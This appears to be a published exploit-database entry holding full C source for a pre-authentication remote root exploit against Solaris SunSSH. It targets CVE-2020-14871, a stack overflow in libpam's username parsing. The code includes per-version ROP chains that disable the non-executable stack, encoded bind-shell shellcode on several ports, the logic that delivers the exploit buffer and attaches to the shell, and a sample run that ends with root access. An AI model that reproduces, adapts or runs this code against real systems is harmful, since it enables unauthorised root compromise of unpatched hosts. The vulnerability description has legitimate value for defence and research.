Solaris SunSSH 11.0 x86 libpam Remote Root

`# Exploit Title: Solaris SunSSH 11.0 x86 - libpam Remote Root   
# Exploit Author: Hacker Fantastic  
# Vendor Homepage: https://www.oracle.com/solaris/technologies/solaris11-overview.html  
# Version: 11  
# Tested on: SunOS solaris 5.11 11.0  
  
/* SunSSH Solaris 10-11.0 x86 libpam remote root exploit CVE-2020-14871  
* ====================================================================  
* Makefile  
* all: hfsunsshdx  
*  
* hfsunsshdx: main.c  
* gcc main.c -o hfsunsshdx -lssh2   
*  
* clean:  
* rm -rf hfsunsshdx  
* rm -rf core.*  
*  
* A trivial to reach stack-based buffer overflow is present in libpam on  
* Solaris. The vulnerable code exists in pam_framework.c parse_user_name()  
* which allocates a fixed size buffer of 512 bytes on the stack and parses  
* usernames into the buffer via modules (authtok_get) without bounds checks.  
* This issue can be reached remotely pre-authentication via SunSSH when  
* "keyboard-interactive" is enabled to use PAM based authentication. The  
* vulnerability was discovered being actively exploited by FireEye in the  
* wild and is part of an APT toolkit called "EVILSUN". The vulnerability  
* is present in both SPARC/x86 versions of Solaris & others (eg. illumos).  
* This exploit uses ROP gadgets to disable nxstack through mprotect on x86  
* and a helper shellcode stub. The configuration in a default Solaris   
* install is vulnerable. The exploit makes use of libssh2 and tested on  
* Solaris 10 through 11.0. Solaris 9 does not ship with a vulnerable   
* SunSSH implementation and versions later than 11.1 have updated SunSSH  
* code that prevents the issue being triggered.  
*  
* e.g.  
* ./hfsunsshdx -s 192.168.11.220 -t 0 -x 2  
* [+] SunSSH Solaris 10-11.0 x86 libpam remote root exploit CVE-2020-14871  
* [-] chosen target 'Solaris 11 11/11 11.0 Sun_SSH_2.0 x86'  
* [-] using shellcode 'Solaris 11.0 x86 bindshell tcp port 9999' 193 bytes  
* [+] ssh host fingerprint: 01bc34fe8092e051716b91fd88eed210db2df49e  
* [+] entering keyboard-interactive authentication.  
* [-] number of prompts: 1  
* [-] prompt 0 from server: 'Please enter user name: '  
* [-] shellcode length 193 bytes  
* [-] rop chain length 68  
* [-] exploit buffer length 580  
* [-] sending exploit magic buffer... wait  
* [+] exploit success, handling payload...  
* [-] connected.. enjoy :)  
* SunOS solaris 5.11 11.0 i86pc i386 i86pc  
* 6:49pm up 53 min(s), 1 user, load average: 0.01, 0.01, 0.01  
* helpdesk console Nov 27 17:57  
* uid=0(root) gid=0(root)  
*  
* -- Hacker Fantastic (https://hacker.house)  
*/  
#include <stdio.h>  
#include <stdlib.h>  
#include <unistd.h>  
#include <fcntl.h>  
#include <errno.h>  
#include <ctype.h>  
#include <getopt.h>  
#include <time.h>  
#include <signal.h>  
#include <string.h>  
#include <sys/socket.h>  
#include <netinet/in.h>  
#include <sys/select.h>  
#include <arpa/inet.h>  
#include <sys/time.h>  
#include <libssh2.h>  
  
int sd = -1;  
int oldsd = -1;  
int ishell = -1;  
char* buf;  
char* payload;  
char* retaddr;  
struct sockaddr_in sain;  
  
struct target {  
char* name;  
char* ropchain;  
};  
  
struct shellcode {  
char* name;  
char* shellcode;  
};  
  
void spawn_shell(int);  
void bindshell_setup(short);  
void on_alarm(int);  
void on_interupt(int);  
void prepare_payload();  
  
const int targetno = 5;  
struct target targets[] = {  
{"Solaris 11 11/11 11.0 Sun_SSH_2.0 x86",  
"\x41\x42\x43\x44" // %ebx  
"\x45\x46\x47\x48" // %esi   
"\x50\x51\x52\x53" // %ebp  
"\xa7\x0e\x06\x08" // pop %ecx, pop %edx, pop %ebp  
"\x9c\x3e\x04\x08" // ptr to (0x?, 0x?, 0x8044cf0, 0x7)   
"\x01\x01\x04\x08" // %edx unused, must be writeable addr  
"\x41\x42\x43\x44" // %ebp unused var   
"\x93\xdb\xc8\xfe" // pop %edx ; ret  
"\x01\x30\x04\x08" // ptr to 0x08043001 mprotect arg  
"\x1a\xe7\x0b\xfe" // dec %edx ; ret   
"\x79\x41\xfe\xfe" // mov %edx,$0x4(%ecx) ; xor %eax, %eax ; ret  
"\x93\xdb\xc8\xfe" // pop %edx ; ret   
"\x01\x30\x04\x08" // ptr to shellcode  
"\xe0\xe8\x3e\xfe" // mov $0x72,%al   
"\x64\x7c\xc3\xfe" // inc %eax ; ret  
"\x64\x7c\xc3\xfe" // inc %eax ; ret   
"\x22\x9d\xd3\xfe"},// sysenter  
{"Solaris 11 Express (snv_151a) Sun_SSH_1.5 x86",  
"\x41\x42\x43\x44" // %ebx overwrite unused  
"\x41\x42\x43\x44" // %esi overwrite unused  
"\xf8\x32\x04\x08" // %ebp overwrite unused  
"\xb7\xf9\x05\x08" // pop %ecx ; pop %edx ; pop %ebp ; ret  
"\x7e\x36\x02\x04" // ptr/2 to (0x?, 0x0, 0x1000, 0x7)   
"\x01\x30\x04\x08" // ptr for %edx  
"\x44\x43\x42\x41" // ptr for %ebp unused  
"\xe4\xd4\xde\xfe" // dec %edx ; add %ecx, %ecx ; ret  
"\x19\x42\xfe\xfe" // mov %edx,$0x4(%ecx) ; xor %eax, %eax; ret  
"\xb8\xf9\x05\x08" // pop %edx ; pop %ebp ; ret  
"\xeb\x30\x04\x08" // shellcode ptr for %edx  
"\x1c\x33\x04\x08" // %ebp & used by "leave"  
"\x84\x98\x51\xfe" // mov $0x82, %eax ; pop %esi ; pop %ebx ; leave ; ret  
"\x41\x42\x43\x44" // %esi unused  
"\xe0\x30\x04\x08" // shellcode ptr to %ebx   
"\xe8\x32\x04\x08" // ptr into %ebp   
"\x19\x3f\xfe\xfe" // sub $0x4,%eax ; ret   
"\x19\x3f\xfe\xfe" // sub $0x4,%eax ; ret  
"\x19\x3f\xfe\xfe" // sub $0x4,%eax ; ret  
"\x11\x3f\xfe\xfe" // sub $0x2,%eax ; ret  
"\xfe\xf8\xcf\xfe"},// sysenter  
{"Solaris 10 1/13 (147148-26) Sun_SSH_1.1.5 x86",  
"\xc3\x31\x04\x08" // overwrite %ebp unused  
"\xa3\x6c\xd8\xfe" // mov $0x74, %eax ; ret  
"\x29\x28\x07\x08" // pop %ebx ; ret  
"\xf0\xff\xaf\xfe" // 0x0a writen to address, unused gadget  
"\x08\xba\x05\x08" // pop %edx ; pop %ebp ; ret  
"\x01\x30\x04\x08" // %edx pointer to page  
"\xb8\x31\x04\x08" // unused %ebp value  
"\xaa\x4c\x68\xfe" // pop %ecx ; ret  
"\xe0\x6e\x04\x08" // ptr (0x?,0x0,0x1000,0x7)  
"\x61\x22\x07\x08" // dec %edx ; ret  
"\x8b\x2d\xfe\xfe" // mov %edx,0x4(%ecx) ; xor %eax,%eax ; ret  
"\xa3\x6c\xd8\xfe" // mov $0x74, %eax ; ret  
"\x08\xba\x05\x08" // pop %edx ; pop %ebp ; ret  
"\xc3\x31\x04\x08" // shellcode addr for %edx  
"\xc3\x31\x04\x08" // unused %ebp value  
"\xf6\x0d\xf4\xfe"},// sysenter, (ret into shellcode via %edx)  
{"Solaris 10 8/11 (147441-01) Sun_SSH_1.1.4 x86",  
"\xc3\x31\x04\x08" // overwrite %ebp unused  
"\x73\x6a\xd7\xfe" // mov $0x74, %eax ; ret  
"\xb1\x26\x07\x08" // pop %ebx ; ret  
"\xff\x01\xac\xfe" // write garbage here, unused gadget  
"\x98\xb9\x05\x08" // pop %edx ; pop %ebp ; ret  
"\xff\x2f\x04\x08" // %edx pointer to page  
"\xc3\x31\x04\x08" // unused %ebp value  
"\x57\xaa\xe4\xfe" // pop %ecx ; ret  
"\x94\x11\x5f\xfe" // ptr rwx (0x?,0x04b,0xe50,0x7)  
"\xee\x6a\x65\xfe" // inc %edx ; ret  
"\x9b\xc5\xc1\xfe" // mov %edx,0x4($ecx) ; xor %eax,%eax ; ret  
"\x73\x6a\xd7\xfe" // mov $0x74, %eax ; ret  
"\x86\xae\xe5\xfe" // pop %edx ; ret  
"\xc3\x31\x04\x08" // shellcode return address for %edx  
"\x66\x56\xb9\xfe"},// sysenter (ret into shellcode via %edx)  
{"Solaris all Sun_SSH_1.x.x debug crash target",  
"\x41\x42\x43\x43" // %ebp ptr  
"\x78\x79\x80\x81"} // %eip ptr  
};  
  
const int shellno = 4;  
  
struct shellcode shellcodes[] = {  
{"Solaris x86 bindshell tcp port 9999",  
/* mprotect magic stub necessary for payloads expecting +x stack */  
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"  
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc0\x31\xc9"  
"\xbb\x01\x10\x04\x08\x66\xb8\x01\x70\xb1\x07\x4b\x48\x51\x50"  
"\x53\x53\x89\xe1\x31\xc0\xb0\x74\xcd\x91"  
/* mprotect_shellcode.S Solaris x86 mprotect(0x08044000,0x7000,0x07);  
==================================================================  
xorl %eax, %eax  
xorl %ecx, %ecx  
movl $0x08041001, %ebx  
movw $0x7001, %ax  
movb $0x7,%cl  
dec %ebx  
dec %eax  
pushl %ecx  
pushl %eax  
pushl %ebx  
pushl %ebx  
movl %esp, %ecx  
xorl %eax, %eax  
movb $0x74, %al  
int $0x91  
*/  
/* msfvenom -p solaris/x86/shell_bind_tcp -b "\x09\x20" LPORT=9999 -f c -e x86/xor_dynamic */  
"\xeb\x23\x5b\x89\xdf\xb0\x55\xfc\xae\x75\xfd\x89\xf9\x89\xde"  
"\x8a\x06\x30\x07\x47\x66\x81\x3f\x2a\x95\x74\x08\x46\x80\x3e"  
"\x55\x75\xee\xeb\xea\xff\xe1\xe8\xd8\xff\xff\xff\x01\x55\x69"  
"\xfe\xd9\xfe\x3d\x6b\x64\x88\xe7\xf6\x57\x05\xf7\x17\x30\xc1"  
"\x51\x69\xfe\x03\x26\x0e\x88\xe6\x6b\x03\x51\x51\x6b\x03\x6b"  
"\x03\xb1\xe7\xfe\xd7\x6b\x11\x56\x51\x30\xc1\xb1\xe9\xfe\xd7"  
"\x5a\x51\x51\x52\xb1\xe8\xfe\xd7\xb1\xeb\xfe\xd7\x6b\x08\x51"  
"\x6b\x3f\x59\xfe\xd7\xfe\x4e\xd9\x78\xf7\x51\x69\x2e\x2e\x72"  
"\x69\x69\x2e\x63\x68\x6f\x88\xe2\x51\x52\x88\xe0\x51\x50\x52"  
"\xb1\x3a\xfe\xd7\x2a\x95"},  
{"Solaris x86 bindshell tcp port 8080",  
/* mprotect magic stub necessary for payloads expecting +x stack */  
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"  
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc0\x31\xc9"  
"\xbb\x01\x10\x04\x08\x66\xb8\x01\x70\xb1\x07\x4b\x48\x51\x50"  
"\x53\x53\x89\xe1\x31\xc0\xb0\x74\xcd\x91"  
/* msfvenom -p solaris/x86/shell_bind_tcp -b "\x09\x20" LPORT=8080 -f c -e x86/xor_dynamic */  
"\xeb\x23\x5b\x89\xdf\xb0\x9a\xfc\xae\x75\xfd\x89\xf9\x89\xde"  
"\x8a\x06\x30\x07\x47\x66\x81\x3f\x44\x60\x74\x08\x46\x80\x3e"  
"\x9a\x75\xee\xeb\xea\xff\xe1\xe8\xd8\xff\xff\xff\x01\x9a\x69"  
"\xfe\xd9\xfe\x3d\x6b\x64\x88\xe7\xf6\x57\x05\xf7\x17\x30\xc1"  
"\x51\x69\xfe\x03\x1e\x91\x88\xe6\x6b\x03\x51\x51\x6b\x03\x6b"  
"\x03\xb1\xe7\xfe\xd7\x6b\x11\x56\x51\x30\xc1\xb1\xe9\xfe\xd7"  
"\x5a\x51\x51\x52\xb1\xe8\xfe\xd7\xb1\xeb\xfe\xd7\x6b\x08\x51"  
"\x6b\x3f\x59\xfe\xd7\xfe\x4e\xd9\x78\xf7\x51\x69\x2e\x2e\x72"  
"\x69\x69\x2e\x63\x68\x6f\x88\xe2\x51\x52\x88\xe0\x51\x50\x52"  
"\xb1\x3a\xfe\xd7\x44\x60"},  
/* dup2(); and execve(); changed calling convention on 11.0, uses x86/shikata_ga_nai */   
{"Solaris 11.0 x86 bindshell tcp port 9999",   
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"  
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"  
"\x31\xc0\x31\xc9\x31\xd2\xbb\x01\x10\x04\x08\x66\xb8\x01\x70"  
"\xb1\x07\x66\xba\x01\x10\x66\x31\xd3\x48\x51\x50\x53\x53\x89"  
"\xe1\x31\xc0\xb0\x74\xcd\x91"//not encoded, stack address different  
"\xb8\x5d\x6d\x26\x15\xda\xce\xd9\x74\x24\xf4\x5a\x2b\xc9\xb1"  
"\x19\x31\x42\x15\x83\xea\xfc\x03\x42\x11\xe2\xa8\x05\xd9\xcd"  
"\xad\xea\x4f\x8b\xd8\xf5\x67\x05\xde\x0f\x91\x9b\x1e\xbf\xf6"  
"\x24\x9c\x67\x08\x52\x47\x0d\x14\x34\xd7\xb8\x1a\xde\xd5\x8c"  
"\xfd\xe1\x0f\x86\x11\x49\xff\x66\xd2\xc5\x17\x77\x04\x7e\xb7"  
"\xdb\x19\x68\xc8\x0a\xe9\x81\xc9\x65\x60\x5f\x5f\x83\x25\x35"  
"\xa1\xcb\x3a\x1f\x22\xa4\x1c\xd9\x2a\x0a\x5d\x4a\xba\x42\x72"  
"\x18\x52\xf5\xa3\xbc\xcb\x6b\x35\xa3\x5b\x27\xcc\xc5\x0b\x97"  
"\x9f\x56\x1b\x2c\xdf\x8f"},  
/* dup2(); and execve(); changed calling convention on 11.0, uses x86/shikata_ga_nai */  
{"Solaris 11.0 x86 bindshell tcp port 4444",   
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"  
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"  
"\x31\xc0\x31\xc9\x31\xd2\xbb\x01\x10\x04\x08\x66\xb8\x01\x70"  
"\xb1\x07\x66\xba\x01\x10\x66\x31\xd3\x48\x51\x50\x53\x53\x89"  
"\xe1\x31\xc0\xb0\x74\xcd\x91"//not encoded, stack address different  
"\xb8\x8d\x2e\x32\x79\xd9\xe5\xd9\x74\x24\xf4\x5b\x29\xc9\xb1"  
"\x19\x31\x43\x15\x03\x43\x15\x83\xc3\x04\xe2\x78\x46\xcd\xa1"  
"\x7d\xab\x5b\x37\x08\x32\x6c\xe1\x0e\x4d\x85\x3f\xce\xe1\xc2"  
"\xc0\xcc\x1e\x83\xb6\x37\x4a\xa1\x98\xe7\xe1\xa7\x72\x05\x46"  
"\x41\x7d\xdf\xcc\x9e\xd5\x8f\x21\x5f\x69\xc7\xbd\x89\xd1\x47"  
"\x11\x86\x0f\x98\x43\x56\x25\x99\xba\xfd\xb3\x0f\x4a\x52\xae"  
"\xf1\x14\xad\xf8\xf2\xea\x89\x7c\xfa\xc4\xe9\x2f\x6a\x08\xc5"  
"\xbc\x02\x3e\x36\x21\xbb\xd0\xc1\x46\x6b\x7e\x5b\x69\xdb\xd0"  
"\x0a\x39\x6b\xeb\x53\x6b"}  
};  
  
void spawn_shell(int sd) {  
#define sockbuflen 2048  
int rcv;  
char sockbuf[sockbuflen];  
fd_set readfds;  
memset(sockbuf,0,sockbuflen);  
snprintf(sockbuf,sockbuflen,"uname -a;uptime;who;id\n");  
write(sd,sockbuf,strlen(sockbuf));  
while (1) {  
FD_ZERO(&readfds);  
FD_SET(0,&readfds);  
FD_SET(sd,&readfds);  
select(255,&readfds,NULL,NULL,NULL);  
if (FD_ISSET(sd, &readfds)) {  
memset(sockbuf,0,sockbuflen);  
rcv = read(sd,sockbuf,sockbuflen);  
if (rcv <= 0) {  
printf("\e[1m\e[34m[!] connection closed by foreign host.\n\e[0m");  
exit(-1);  
}  
printf("%s",sockbuf);  
fflush(stdout);  
}  
if(FD_ISSET(0,&readfds)) {  
memset(sockbuf,0,sockbuflen);  
read(0,sockbuf,sockbuflen);  
write(sd,sockbuf,strlen(sockbuf));  
}  
}  
}  
  
void bindshell_setup(short port){  
oldsd = sd;  
sd = socket(AF_INET,SOCK_STREAM,0);  
sain.sin_port = htons(port);  
if(connect(sd,(struct sockaddr*)&sain,sizeof(sain))<0){  
printf("[!] fatal bind shell failed\n\e[0m");  
exit(-1);  
}  
printf("[-] connected.. enjoy :)\e[0m\n");  
spawn_shell(sd);  
}  
  
void on_alarm(int signum){  
printf("[+] exploit success, handling payload...\n");  
if(ishell==0||ishell==2){  
bindshell_setup(9999);  
}  
if(ishell==1||ishell==3){  
bindshell_setup(8080);  
}  
printf("[-] exploit complete\n\e[0m");  
exit(0);  
}  
  
void on_interrupt(int signum){  
printf("\e[1m\e[34m[!] interrupt caught... cleaning up\n\e[0m");  
if(sd){  
close(sd);  
}  
if(oldsd){  
close(oldsd);  
}  
exit(0);  
}  
  
void prepare_payload(){ /* bad characters are 0x20 0x09 & 0x00 */  
#define payload_size 4096  
int len = strlen(payload);  
buf = malloc(payload_size);  
char randchar = 'A';  
char* randbuf = malloc(2);  
if(!buf||!randbuf){  
printf("[!] fatal payload buffer error\n");  
exit(-1);  
}  
srand(time(NULL));  
memset(buf,'\x00',payload_size);  
memset(randbuf,0,2);  
printf("[-] shellcode length %d bytes\n",len);  
if(len < 512 && payload_size > 1024){  
memcpy(buf,payload,len);  
for(int i =0;i <= (512 - len);i++){  
randchar = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"[random() % 52];  
memcpy(randbuf,&randchar,1);  
strcat(buf,randbuf);  
}  
len = strlen(retaddr);  
printf("[-] rop chain length %d\n",len);  
if(len + 512 < payload_size){  
memcpy((void*)(long)buf+512,(void*)retaddr,len);  
len = strlen(buf);  
printf("[-] exploit buffer length %d\n",len);  
}  
else{  
printf("[!] exploit buffer miscalculated\n");  
exit(-1);  
}  
}  
else{  
printf("[!] exploit buffer miscalculated\n");  
exit(-1);  
}  
}  
  
static void kbd_callback(const char *name, int name_len,const char *instruction, int instruction_len,int num_prompts,const LIBSSH2_USERAUTH_KBDINT_PROMPT *prompts,LIBSSH2_USERAUTH_KBDINT_RESPONSE *responses, void **abstract) {  
int i = 0;  
signal(SIGALRM, &on_alarm);  
printf("[+] entering keyboard-interactive authentication.\n");  
printf("[-] number of prompts: %d\n", num_prompts);  
printf("[-] prompt %d from server: '", i);  
fwrite(prompts[i].text, 1, prompts[i].length, stdout);  
printf("'\n");  
prepare_payload();  
//uncomment to pause for gdb debugging  
//sleep(10);  
responses[i].text = strdup(buf);  
responses[i].length = strlen(buf);  
printf("[-] sending exploit magic buffer... wait\n");  
alarm(5);  
}  
  
int main(int argc,char **argv){  
int ihost = 0, itarg = 0, port = 22, index = 0, rc = 0;  
char* host;  
int i, type, exitcode;  
unsigned long hostaddr;  
const char *fingerprint;  
LIBSSH2_SESSION *session;  
LIBSSH2_CHANNEL *channel;  
char *exitsignal = (char *)"none";  
size_t len;  
LIBSSH2_KNOWNHOSTS *nh;  
static struct option options[] = {  
{"server", 1, 0, 's'},  
{"port", 1, 0, 'p'},  
{"target", 1, 0, 't'},  
{"shellcode", 1, 0, 'x'},  
{"help", 0, 0,'h'}  
};  
printf("\e[1m\e[34m[+] SunSSH Solaris 10-11.0 x86 libpam remote root exploit CVE-2020-14871\n");  
while(rc != -1) {  
rc = getopt_long(argc,argv,"s:p:t:x:h",options,&index);  
switch(rc) {  
case -1:  
break;  
case 's':  
if(ihost==0){  
host = malloc(strlen(optarg) + 1);  
if(host){  
sprintf(host,"%s",optarg);  
ihost = 1;  
}  
}  
break;  
case 'p':  
port = atoi(optarg);  
break;  
case 'x':  
if(ishell==-1) {  
rc = atoi(optarg);  
switch(rc){  
case 0:  
printf("[-] using shellcode '%s' %d bytes\n",shellcodes[rc].name,strlen(shellcodes[rc].shellcode));  
payload = malloc(strlen(shellcodes[rc].shellcode)+1);  
if(payload){  
memset(payload,0,strlen(shellcodes[rc].shellcode)+1);  
memcpy((void*)payload,(void*)shellcodes[rc].shellcode,strlen(shellcodes[rc].shellcode));  
ishell = rc;  
}  
break;  
case 1:  
printf("[-] using shellcode '%s' %d bytes\n",shellcodes[rc].name,strlen(shellcodes[rc].shellcode));  
payload = malloc(strlen(shellcodes[rc].shellcode)+1);  
if(payload){  
memset(payload,0,strlen(shellcodes[rc].shellcode)+1);  
memcpy((void*)payload,(void*)shellcodes[rc].shellcode,strlen(shellcodes[rc].shellcode));  
ishell = rc;  
}  
break;  
case 2:  
printf("[-] using shellcode '%s' %d bytes\n",shellcodes[rc].name,strlen(shellcodes[rc].shellcode));  
payload = malloc(strlen(shellcodes[rc].shellcode)+1);  
if(payload){  
memset(payload,0,strlen(shellcodes[rc].shellcode)+1);  
memcpy((void*)payload,(void*)shellcodes[rc].shellcode,strlen(shellcodes[rc].shellcode));  
ishell = rc;  
}  
break;  
case 3:  
printf("[-] using shellcode '%s' %d bytes\n",shellcodes[rc].name,strlen(shellcodes[rc].shellcode));  
payload = malloc(strlen(shellcodes[rc].shellcode)+1);  
if(payload){  
memset(payload,0,strlen(shellcodes[rc].shellcode)+1);  
memcpy((void*)payload,(void*)shellcodes[rc].shellcode,strlen(shellcodes[rc].shellcode));  
ishell = rc;  
}  
break;  
  
default:  
printf("[!] Invalid shellcode selection %d\n",rc);  
exit(0);  
break;  
}  
}  
break;  
case 't':  
if(itarg==0){  
rc = atoi(optarg);  
switch(rc){  
case 0:  
printf("[-] chosen target '%s'\n",targets[rc].name);  
retaddr = malloc(strlen(targets[rc].ropchain)+1);  
if(retaddr){  
memset(retaddr,0,strlen(targets[rc].ropchain)+1);  
memcpy((void*)retaddr,(void*)targets[rc].ropchain,strlen(targets[rc].ropchain));  
itarg = rc;  
}  
break;  
case 1:  
printf("[-] chosen target '%s'\n",targets[rc].name);  
retaddr = malloc(strlen(targets[rc].ropchain)+1);  
if(retaddr){  
memset(retaddr,0,strlen(targets[rc].ropchain)+1);  
memcpy((void*)retaddr,(void*)targets[rc].ropchain,strlen(targets[rc].ropchain));  
itarg = rc;  
}  
break;  
case 2:  
printf("[-] chosen target '%s'\n",targets[rc].name);  
retaddr = malloc(strlen(targets[rc].ropchain)+1);  
if(retaddr){  
memset(retaddr,0,strlen(targets[rc].ropchain)+1);  
memcpy((void*)retaddr,(void*)targets[rc].ropchain,strlen(targets[rc].ropchain));  
itarg = rc;  
}  
break;  
case 3:  
printf("[-] chosen target '%s'\n",targets[rc].name);  
retaddr = malloc(strlen(targets[rc].ropchain)+1);  
if(retaddr){  
memset(retaddr,0,strlen(targets[rc].ropchain)+1);  
memcpy((void*)retaddr,(void*)targets[rc].ropchain,strlen(targets[rc].ropchain));  
itarg = rc;  
}  
break;  
case 4:  
printf("[-] chosen target '%s'\n",targets[rc].name);  
retaddr = malloc(strlen(targets[rc].ropchain)+1);  
if(retaddr){  
memset(retaddr,0,strlen(targets[rc].ropchain)+1);  
memcpy((void*)retaddr,(void*)targets[rc].ropchain,strlen(targets[rc].ropchain));  
itarg = rc;  
}  
break;  
default:  
printf("[!] Invalid target selection %d\n", rc);  
exit(0);  
break;  
}  
itarg = 1;  
}  
break;  
case 'h':  
printf("[!] Usage instructions.\n[\n");  
printf("[ %s <required> (optional)\n[\n[ --server|-s <ip/hostname>\n",argv[0]);  
printf("[ --port|-p (port)[default 22]\n[ --target|-t <target#>\n");  
printf("[ --shellcode|-x <shellcode#>\n[\n");  
printf("[ Target#'s\n");  
for(i = 0;i <= targetno - 1;i++){  
printf("[ %d \"%s\"\n",i,targets[i]);  
}  
printf("[\n[ Shellcode#'s\n");  
for(i = 0;i <= shellno - 1;i++){  
printf("[ %d \"%s\" (length %d bytes)\n",i,shellcodes[i].name,strlen(shellcodes[i].shellcode));  
}  
printf("\e[0m");  
exit(0);  
break;  
default:  
break;  
}  
}  
if(itarg != 1 || ihost != 1 || ishell < 0){  
printf("[!] error, insufficient arguments, try running '%s --help'\e[0m\n",argv[0]);  
exit(-1);  
}  
rc = libssh2_init(0);  
hostaddr = inet_addr(host);  
sd = socket(AF_INET, SOCK_STREAM, 0);  
sain.sin_family = AF_INET;  
sain.sin_port = htons(port);  
sain.sin_addr.s_addr = hostaddr;  
if(connect(sd, (struct sockaddr*)(&sain),sizeof(struct sockaddr_in)) != 0) {  
fprintf(stderr, "[!] failed to connect!\n");  
goto shutdown;  
}  
session = libssh2_session_init();  
libssh2_session_set_blocking(session, 1);  
while((rc = libssh2_session_handshake(session, sd))==LIBSSH2_ERROR_EAGAIN);  
if(rc) {  
printf("[!] failure establishing ssh session: %d\n", rc);  
goto shutdown;  
}  
nh = libssh2_knownhost_init(session);  
if(!nh) {  
printf("[!] failure on libssh2 init\n");  
goto shutdown;  
}  
fingerprint = libssh2_hostkey_hash(session, LIBSSH2_HOSTKEY_HASH_SHA1);  
printf("[+] ssh host fingerprint: ");  
for(i = 0; i < 20; i++) {  
printf("%02x", (unsigned char)fingerprint[i]);  
}  
printf("\n");  
libssh2_knownhost_free(nh);  
signal(SIGINT,&on_interrupt);  
libssh2_userauth_keyboard_interactive(session, "", &kbd_callback);  
printf("[!] exploit failed, core maybe on target!\n");  
shutdown:  
if(sd){  
close(sd);  
}  
printf("\e[0m");  
return -2;  
}  
  
`